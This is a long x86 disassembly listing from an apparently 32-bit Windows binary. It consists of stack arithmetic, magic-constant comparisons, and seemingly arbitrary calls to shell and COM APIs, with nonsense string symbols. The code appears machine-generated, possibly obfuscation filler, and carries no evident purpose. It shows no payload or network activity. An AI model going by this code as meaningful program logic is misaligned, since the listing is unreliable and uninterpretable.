lea eax, [ebp - 0x34dc]
mov dword [ebp - 0x285c], eax
mov ecx, dword [ebp - 0x1bc0]
mov dword [ebp - 0x6210], ecx
cmp dword [ebp - 0x6210], 0
je 0x430553
jmp 0x46b9d0
movzx edx, byte [ebp - 0x85d]
mov eax, dword [ebp - 0x35b8]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xbb4]
movzx ecx, byte [eax]
movzx eax, byte [ebp + 0x18]
add ecx, eax
cmp edx, ecx
je 0x430682
mov ecx, dword [ebp - 0x35b8]
mov dl, byte [ecx]
mov byte [ebp - 0x6214], dl
cmp byte [ebp - 0x6214], 0x37
je 0x4305a5
cmp byte [ebp - 0x6214], 0xa4
je 0x430664
jmp 0x430682
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
sub ecx, eax
movsx edx, byte [ebp + 0xc]
movsx eax, byte [ebp - 0x3cc2]
add edx, eax
cmp ecx, edx
jl 0x4305dc
mov ecx, dword [ebp - 0x37ac]
and ecx, dword [ebp - 0x3cac]
mov dword [ebp - 0x2118], ecx
lea edx, [ebp - 0x5d98]
push edx
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0x3ed8], eax
mov eax, dword [ebp - 0x35b8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xbb4]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x35b8]
mov byte [edx], cl
movzx eax, word [ebp - 0x3ee8]
movzx ecx, word [ebp - 0x5180]
add eax, ecx
mov word [ebp - 0x2df0], ax
movzx edx, word [ebp - 0x3ee8]
push edx
movzx eax, byte [ebp - 0x3cc2]
push eax
mov ecx, dword [ebp - 0x569c]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x3780]
mov dl, byte [eax]
mov cl, byte [ebp + 0x18]
call fcn.00478870
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2b4c]
mov eax, dword [ebp - 0x12e0]
mov dword [eax], edx
jmp 0x430682
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x2744]
push edx
mov eax, dword [ebp - 0xe88]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableW]
mov dword [ebp - 0x429c], eax
mov ecx, dword [ebp - 0x2a80]
mov edx, dword [ebp - 0x5fdc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c10]
mov eax, dword [ebp - 0x3cac]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2a80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d68]
mov eax, dword [edx]
mov dword [ebp - 0x6218], eax
cmp dword [ebp - 0x6218], 0
je 0x4306dc
cmp dword [ebp - 0x6218], 0x73fc5f63
je 0x430772
jmp 0x430822
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ecx]
mov dword [ebp - 0x1a64], edx
mov eax, dword [ebp - 0x1d20]
mov dword [ebp - 0x621c], eax
cmp dword [ebp - 0x621c], 0x42ed31f3
je 0x430704
jmp 0x43076d
mov ecx, dword [ebp - 0xbb4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x9b9], dl
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x55ac]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x5600]
mov word [eax], dx
lea ecx, [ebp - 0xee0]
push ecx
push 0xcc
lea edx, [ebp - 0x27dc]
push edx
call dword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [ebp - 0x37a4], eax
mov eax, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x1a64]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp + 0x14], edx
jmp 0x430822
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x37ac]
mov edx, dword [ebp - 0x1920]
mov dword [edx], ecx
movsx eax, word [ebp - 0x36b0]
mov dword [ebp - 0x6220], eax
cmp dword [ebp - 0x6220], 0x434e
je 0x4307a3
jmp 0x43080a
push 0xad
call dword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [ebp - 0x27dc], eax
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x5cc4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x285c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x2f8], dx
mov edx, dword [ebp - 0x12d0]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x55ac]
mov word [ecx], ax
jmp 0x430822
lea edx, [ebp - 0x1900]
push edx
push pe_nt_image_headers32
call dword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [ebp - 0x3830], eax
mov eax, dword [ebp - 0x12d0]
movzx ecx, word [eax]
mov dword [ebp - 0x6224], ecx
cmp dword [ebp - 0x6224], 0
je 0x43083f
jmp 0x46b987
mov edx, dword [ebp - 0x3da8]
mov eax, dword [ebp - 0x2b4c]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
mov edx, dword [ebp - 0xee0]
mov dword [ebp - 0x6228], edx
cmp dword [ebp - 0x6228], 0x301273a0
je 0x43086f
jmp 0x4308c9
mov eax, dword [ebp - 0x2a80]
mov ecx, dword [ebp - 0x5fdc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4c40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 0xc], dl
lea edx, [ebp - 0x1ce0]
push edx
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [ebp - 0x778], eax
mov eax, dword [ebp - 0x4d68]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x42e4]
mov edx, dword [ebp - 0x5fdc]
mov dword [edx], ecx
jmp 0x4308ff
lea eax, [ebp + 0x18]
mov dword [ebp - 0x718], eax
movzx edx, word [ebp - 0x2df0]
movzx ecx, word [ebp - 0x5180]
sar edx, cl
mov word [ebp - 0x3ee8], dx
mov eax, dword [ebp - 0x5168]
mov ecx, dword [ebp - 0x26b8]
or ecx, dword [eax]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x42e4]
mov dword [ebp - 0x40fc], eax
mov ecx, dword [ebp - 0x26b8]
mov dword [ebp - 0x622c], ecx
cmp dword [ebp - 0x622c], 0x311879d6
je 0x430925
jmp 0x430998
movzx edx, word [ebp - 0x5668]
mov dword [ebp - 0x6230], edx
cmp dword [ebp - 0x6230], 0x83a
je 0x430940
jmp 0x43097f
mov eax, dword [ebp - 0x4e90]
movsx ecx, byte [eax]
movsx edx, byte [ebp + 0xc]
xor ecx, edx
mov byte [ebp + 8], cl
mov eax, dword [ebp - 0x3a60]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1bc0]
shl edx, cl
mov eax, dword [ebp - 0x12e0]
mov dword [eax], edx
lea ecx, [ebp - 0x242c]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [ebp - 0x3180], eax
jmp 0x430996
movzx edx, word [ebp - 0x2df0]
movzx eax, word [ebp - 0x1ff8]
and edx, eax
mov word [ebp - 0x5180], dx
jmp 0x4309cb
movzx ecx, byte [ebp + 0x18]
mov edx, dword [ebp - 0x718]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x5b24]
mov byte [edx], cl
mov eax, dword [ebp - 0x285c]
mov cx, word [eax]
mov word [ebp - 0x394], cx
lea edx, [ebp - 0x3cc2]
mov dword [ebp - 0x5014], edx
mov eax, dword [ebp - 0x2b4c]
sub eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x12e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3db4]
add eax, dword [ecx]
mov edx, dword [ebp - 0x5f8c]
mov dword [edx], eax
movsx eax, word [ebp - 0x34dc]
movsx ecx, word [ebp - 0x36b0]
add eax, ecx
movsx edx, word [ebp + 0x10]
movsx ecx, word [ebp - 0x2f8]
sub edx, ecx
cmp eax, edx
jg 0x46b87a
mov edx, dword [ebp - 0x3c10]
mov eax, dword [edx]
mov dword [ebp - 0x5220], eax
movzx ecx, word [ebp - 0x1ff8]
mov edx, dword [ebp - 0x351c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x5600]
mov word [edx], cx
mov eax, dword [ebp - 0x4ff4]
mov ecx, dword [eax]
mov dword [ebp - 0x6234], ecx
cmp dword [ebp - 0x6234], 0
je 0x430a6e
mov edx, dword [ebp - 0x37ac]
sub edx, dword [ebp - 0x42e4]
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x539c]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
je 0x46b8c2
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ecx]
sub edx, dword [ebp + 0x14]
mov dword [ebp - 0x1d20], edx
mov eax, dword [ebp - 0xbb4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x35b8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xbb4]
mov byte [edx], cl
lea eax, [ebp - 0x34dc]
push eax
lea ecx, [ebp - 0xbb0]
push ecx
call dword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [ebp - 0x1900], eax
jmp 0x46ba17
movzx edx, word [ebp - 0x1ff8]
push edx
mov eax, dword [ebp - 0x4e90]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x2f8]
push edx
mov eax, dword [ebp - 0x35b8]
mov dl, byte [eax]
mov ecx, dword [ebp - 0x5b24]
mov cl, byte [ecx]
call fcn.00478870
mov edx, dword [ebp - 0x12e0]
mov eax, dword [ebp - 0x3da8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3a60]
mov dword [edx], ecx
movsx eax, byte [ebp + 8]
mov ecx, dword [ebp - 0x4e90]
movsx ecx, byte [ecx]
shl eax, cl
movsx edx, byte [ebp - 0x3cc2]
mov ecx, dword [ebp - 0x5cc4]
movsx ecx, byte [ecx]
xor edx, ecx
cmp eax, edx
jg 0x46ba64
push 0
mov edx, dword [ebp - 0xfc8]
push edx
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
movzx eax, word [ebp - 0x5180]
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x3ee8], ax
mov eax, dword [ebp - 0x42e4]
mov dword [ebp - 0x63e4], eax
cmp dword [ebp - 0x63e4], 0x10f4cad7
je 0x46ba8a
cmp dword [ebp - 0x63e4], 0x305fea34
je 0x46ba9a
jmp 0x46bab4
push 0x75
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x37a4], eax
jmp 0x46bab4
mov ecx, dword [ebp - 0x3780]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x85d]
sar edx, cl
mov eax, dword [ebp - 0xbb4]
mov byte [eax], dl
jmp 0x46baf7
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3cac]
mov eax, dword [ebp - 0xed0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ebp - 0x26b8]
sub edx, dword [ecx]
mov dword [ebp + 0x14], edx
movsx eax, byte [ebp - 0x3cc2]
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4e90]
mov byte [ecx], al
lea edx, [ebp - 0x51f0]
push edx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xfc8], eax
movzx eax, byte [ebp - 0xf3d]
mov ecx, dword [ebp - 0xbb4]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x85d], al
movsx eax, byte [ebp + 8]
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4e90]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x3cc2]
add edx, ecx
cmp eax, edx
jg 0x46bc0f
mov edx, dword [ebp - 0x351c]
movzx eax, word [edx]
mov dword [ebp - 0x63e8], eax
cmp dword [ebp - 0x63e8], 0x2de
je 0x46bb7b
cmp dword [ebp - 0x63e8], 0x580
je 0x46bc00
jmp 0x46bc0f
mov ecx, dword [ebp - 0x3c10]
mov edx, dword [ebp - 0x539c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4ff4]
mov dword [ecx], eax
lea edx, [ebp - 0x5644]
push edx
push 0x65
push 0x62
call dword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [ebp - 0x3180], eax
movzx eax, byte [ebp - 0x503f]
push eax
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x5cc4]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x3cc2]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0x3db4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x37ac]
mov dword [ebp - 0x27d0], edx
mov eax, dword [ebp - 0x5168]
mov ecx, dword [ebp + 0x14]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3da8]
mov dword [edx], ecx
jmp 0x46bc0f
push 1
mov eax, dword [ebp - 0x2310]
push eax
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
jmp 0x46bd65
movsx ecx, byte [ebp + 0xc]
movsx edx, byte [ebp - 0x3cc2]
add ecx, edx
movsx eax, byte [ebp + 8]
mov edx, dword [ebp - 0x5cc4]
movsx edx, byte [edx]
sub eax, edx
cmp ecx, eax
je 0x46bd65
mov eax, dword [ebp - 0x539c]
mov ecx, dword [ebp - 0x24f0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xed0]
mov ecx, dword [ebp - 0x42e4]
add ecx, dword [eax]
cmp edx, ecx
jg 0x46bc70
mov edx, dword [ebp - 0x5168]
mov eax, dword [ebp - 0x26b8]
add eax, dword [edx]
mov ecx, dword [ebp - 0x12e0]
mov dword [ecx], eax
movzx edx, word [ebp - 0x5668]
mov dword [ebp - 0x63ec], edx
cmp dword [ebp - 0x63ec], 0x93d
je 0x46bd1d
cmp dword [ebp - 0x63ec], 0xccb
je 0x46bc9e
jmp 0x46bd65
lea eax, [ebp - 0xbb0]
push eax
push str.autobahn_Promptitude_exquisitely
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x5c3c], eax
movzx edx, byte [ebp - 0xf3d]
mov eax, dword [ebp - 0x35b8]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x9b9], dl
movzx ecx, word [ebp - 0x3ee8]
movzx edx, word [ebp - 0x2df0]
xor ecx, edx
mov eax, dword [ebp - 0x62c]
mov word [eax], cx
lea ecx, [ebp - 0x51a8]
push ecx
push str.baptise_Weariness_Liability
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [ebp - 0x2a0c], eax
mov edx, dword [ebp - 0x4e90]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5cc4]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x4e90]
mov byte [ecx], al
jmp 0x46bd65
mov edx, dword [ebp - 0xbb4]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x5168]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x569c]
movzx ecx, word [eax]
push ecx
movzx edx, byte [ebp - 0x3cc2]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0x569c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x34dc]
add edx, eax
mov word [ebp - 0x2f8], dx
mov ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.004d1cd0
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x5168]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3a60]
mov dword [ecx], eax
mov dl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x63f0], dl
cmp byte [ebp - 0x63f0], 0x55
je 0x46bdcc
cmp byte [ebp - 0x63f0], 0x79
je 0x46bdb1
jmp 0x46bdf6
push 1
lea eax, [ebp - 0x4958]
push eax
lea ecx, [ebp - 0x5668]
push ecx
call dword [sym.imp.SHELL32.dll_ILAppendID]
mov dword [ebp - 0x80], eax
jmp 0x46bdf6
mov edx, dword [ebp - 0x2118]
and edx, dword [ebp - 0x5644]
mov dword [ebp - 0x42e4], edx
mov eax, dword [ebp - 0x539c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x5ab4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x4c40]
mov dword [eax], ecx
mov cl, byte [ebp - 0x3cc2]
mov byte [ebp - 0x63f4], cl
cmp byte [ebp - 0x63f4], 5
je 0x46be16
cmp byte [ebp - 0x63f4], 0x6a
je 0x46be70
jmp 0x46be86
mov edx, dword [ebp - 0x5fdc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3cac]
shl eax, cl
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x2df0]
mov eax, dword [ebp - 0x62c]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x1ff8], dx
lea edx, [ebp - 0x5b24]
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, dword [ebp - 0x3780]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0xf3d]
sar edx, cl
mov eax, dword [ebp - 0x3780]
mov byte [eax], dl
jmp 0x46be86
mov ecx, dword [ebp - 0x5fdc]
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x3cac], eax
jmp 0x46bf6b
lea ecx, [ebp - 0xbb0]
push ecx
push str.Heritors_Mingles
call dword [sym.imp.ole32.dll_GetClassFile]
mov dword [ebp - 0x4e20], eax
mov edx, dword [ebp - 0x5b24]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x44ad]
add eax, ecx
mov byte [ebp + 0x18], al
mov edx, dword [ebp - 0x5cc4]
mov al, byte [edx]
mov byte [ebp - 0x63f8], al
cmp byte [ebp - 0x63f8], 0x71
je 0x46bed3
jmp 0x46beec
movzx edx, word [ebp - 0x3ee8]
movzx ecx, word [ebp - 0x5668]
sar edx, cl
mov eax, dword [ebp - 0x5600]
mov word [eax], dx
mov ecx, dword [ebp - 0x42e4]
xor ecx, dword [ebp - 0x27d0]
mov edx, dword [ebp - 0x539c]
mov dword [edx], ecx
push 0xac
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x624]
push ecx
mov edx, dword [ebp - 0x49f0]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0x4da4], eax
mov ecx, dword [ebp - 0x5600]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x3cc2]
push eax
mov ecx, dword [ebp - 0x569c]
movzx edx, word [ecx]
push edx
mov dl, byte [ebp - 0x9b9]
mov cl, byte [ebp - 0xf3d]
call fcn.00478870
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [ebp - 0x1d20]
or ecx, dword [eax]
mov dword [ebp - 0x2b4c], ecx
mov edx, dword [ebp - 0x3cac]
mov dword [ebp - 0x63fc], edx
cmp dword [ebp - 0x63fc], 0xe5fa574
je 0x46bf85
jmp 0x46bfc6
movzx eax, byte [ebp - 0x44ad]
push eax
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ecx]
push edx
movzx eax, word [ebp + 0x10]
push eax
movzx ecx, byte [ebp - 0x3cc2]
push ecx
movzx edx, byte [ebp - 0x3cc2]
push edx
call fcn.00429f50
mov eax, dword [ebp - 0x12e0]
mov ecx, dword [ebp - 0x1bc0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3a60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2a80]
mov ecx, dword [ebp - 0x5fdc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5ab4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x539c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x4ff4]
add edx, dword [eax]
mov dword [ebp - 0x3cac], edx
lea ecx, [ebp - 0x22cc]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [ebp - 0x4e20], eax
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x351c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3f0c]
mov word [ecx], ax
movzx edx, byte [ebp - 0xf3d]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x44ad], dl
jmp 0x46c115
movsx edx, word [ebp - 0x36b0]
movsx eax, word [ebp + 0x10]
add edx, eax
movsx ecx, word [ebp - 0x2f8]
movsx eax, word [ebp - 0x34dc]
xor ecx, eax
cmp edx, ecx
jge 0x46c115
push 0xf4
lea ecx, [ebp - 0x3b6c]
push ecx
push section..text
mov edx, dword [ebp - 0x182c]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0xe9c], eax
mov al, byte [ebp - 0x3cc2]
mov byte [ebp - 0x6400], al
cmp byte [ebp - 0x6400], 0x73
je 0x46c0a0
jmp 0x46c0ba
lea ecx, [ebp - 0x3118]
push ecx
lea edx, [ebp - 0x47c]
push edx
call dword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [ebp - 0x68c], eax
mov eax, dword [ebp - 0x2118]
and eax, dword [ebp - 0x3cac]
mov ecx, dword [ebp - 0x5f8c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x36b0]
mov eax, dword [ebp - 0x569c]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x34dc], dx
mov edx, dword [ebp - 0x539c]
mov eax, dword [edx]
push eax
movzx ecx, byte [ebp - 0xf3d]
push ecx
call fcn.004ef7c0
add esp, 8
movsx edx, byte [ebp - 0x3cc2]
movsx eax, byte [ebp + 8]
sub edx, eax
mov ecx, dword [ebp - 0x5cc4]
mov byte [ecx], dl
lea edx, [ebp - 0x2f8]
push edx
call dword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [ebp - 0x778], eax
mov eax, dword [ebp - 0x5f8c]
mov ecx, dword [ebp - 0x42e4]
or ecx, dword [eax]
mov dword [ebp - 0x5644], ecx
mov edx, dword [ebp - 0x5ab4]
mov eax, dword [ebp - 0x27d0]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x539c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x569c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x36b0]
shl eax, cl
mov word [ebp + 0x10], ax
jmp 0x46c193
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x3ee8]
call fcn.004721c0
movzx ecx, word [ebp - 0x1ff8]
movzx edx, word [ebp - 0x2df0]
and ecx, edx
mov eax, dword [ebp - 0x5600]
mov word [eax], cx
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5b24]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp + 0x18], dl
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ebp - 0x3a60]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ebp - 0x1bc0]
sub edx, dword [ecx]
cmp eax, edx
je 0x46c29d
movzx eax, word [ebp - 0x3ee8]
mov dword [ebp - 0x6404], eax
cmp dword [ebp - 0x6404], 0xf77
je 0x46c1ee
jmp 0x46c28a
mov ecx, dword [ebp - 0x3da8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1d20]
mov eax, dword [ebp - 0x3da8]
mov dword [eax], edx
lea ecx, [ebp - 0xf3d]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x3a24], eax
mov edx, dword [ebp - 0xed0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2118]
mov ecx, dword [ebp - 0xed0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x351c]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x3cc2]
push ecx
mov edx, dword [ebp - 0x569c]
movzx eax, word [edx]
push eax
mov dl, byte [ebp - 0xf3d]
mov ecx, dword [ebp - 0x5b24]
mov cl, byte [ecx]
call fcn.00478870
movsx edx, byte [ebp + 8]
mov eax, dword [ebp - 0x5cc4]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 0xc], dl
movzx edx, byte [ebp - 0xf3d]
mov eax, dword [ebp - 0x3118]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x5b24]
mov byte [eax], dl
jmp 0x46c29d
lea ecx, [ebp - 0x45ec]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x3180], eax
jmp 0x46c3b7
lea edx, [ebp - 0x52b8]
push edx
push pe_nt_image_headers32
lea eax, [ebp - 0x51a8]
push eax
call dword [sym.imp.ole32.dll_OleRegGetUserType]
mov dword [ebp - 0x29b8], eax
mov ecx, dword [ebp - 0x5ab4]
mov edx, dword [ecx]
mov dword [ebp - 0x6408], edx
cmp dword [ebp - 0x6408], 0x9d35f50
je 0x46c30a
cmp dword [ebp - 0x6408], 0x32c8a24d
je 0x46c2ec
jmp 0x46c3b7
movsx eax, word [ebp - 0x34dc]
movsx ecx, word [ebp - 0x36b0]
add eax, ecx
mov edx, dword [ebp - 0x569c]
mov word [edx], ax
jmp 0x46c3b7
movsx eax, byte [ebp + 0xc]
movsx ecx, byte [ebp + 8]
add eax, ecx
mov byte [ebp - 0x3cc2], al
movzx edx, byte [ebp - 0x9b9]
push edx
movzx eax, byte [ebp - 0x3cc2]
push eax
call fcn.004d1cd0
movzx ecx, word [ebp - 0x5180]
mov dword [ebp - 0x640c], ecx
cmp dword [ebp - 0x640c], 0x650
je 0x46c3ab
cmp dword [ebp - 0x640c], 0x998
je 0x46c356
jmp 0x46c3b7
mov edx, dword [ebp - 0x12e0]
mov eax, dword [edx]
add eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x12e0]
mov dword [ecx], eax
lea edx, [ebp - 0x1e84]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0x42e4]
xor eax, dword [ebp - 0x2118]
mov dword [ebp - 0x3cac], eax
movzx edx, word [ebp - 0x5668]
mov eax, dword [ebp - 0x3f0c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x5600]
mov word [ecx], dx
jmp 0x46c3b7
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [ebp - 0x5b94], eax
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5668]
sub eax, ecx
mov word [ebp - 0x2df0], ax
mov edx, dword [ebp - 0x5f8c]
mov eax, dword [ebp - 0x27d0]
add eax, dword [edx]
mov dword [ebp - 0x42e4], eax
movzx ecx, byte [ebp - 0xf3d]
push ecx
mov edx, dword [ebp - 0x55ac]
movzx eax, word [edx]
push eax
call section..text
mov ecx, dword [ebp - 0x12e0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xee0]
mov dword [ebp - 0x26b8], edx
mov eax, dword [ebp - 0x42e4]
mov ecx, dword [ebp - 0x5644]
sar eax, cl
mov ecx, dword [ebp - 0x5ab4]
mov dword [ecx], eax
mov dl, byte [ebp + 0x18]
mov byte [ebp - 0x6410], dl
cmp byte [ebp - 0x6410], 0xb5
je 0x46c439
jmp 0x46c46c
movzx eax, word [ebp - 0x5180]
movzx ecx, word [ebp - 0x2df0]
or eax, ecx
mov word [ebp - 0x1ff8], ax
mov edx, dword [ebp - 0x744]
push edx
mov eax, dword [ebp - 0x748]
push eax
call dword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [ebp - 0x778], eax
jmp 0x46c488
mov ecx, dword [ebp - 0x3118]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3780]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3118]
mov byte [ecx], dl
jmp 0x46c5fa
mov edx, dword [ebp - 0x3f0c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x55ac]
movzx edx, word [ecx]
or eax, edx
movzx ecx, word [ebp - 0x1ff8]
mov edx, dword [ebp - 0x5600]
movzx edx, word [edx]
xor ecx, edx
cmp eax, ecx
jl 0x46c4d2
mov eax, dword [ebp - 0x351c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5600]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x5668], cx
movsx ecx, word [ebp + 0x10]
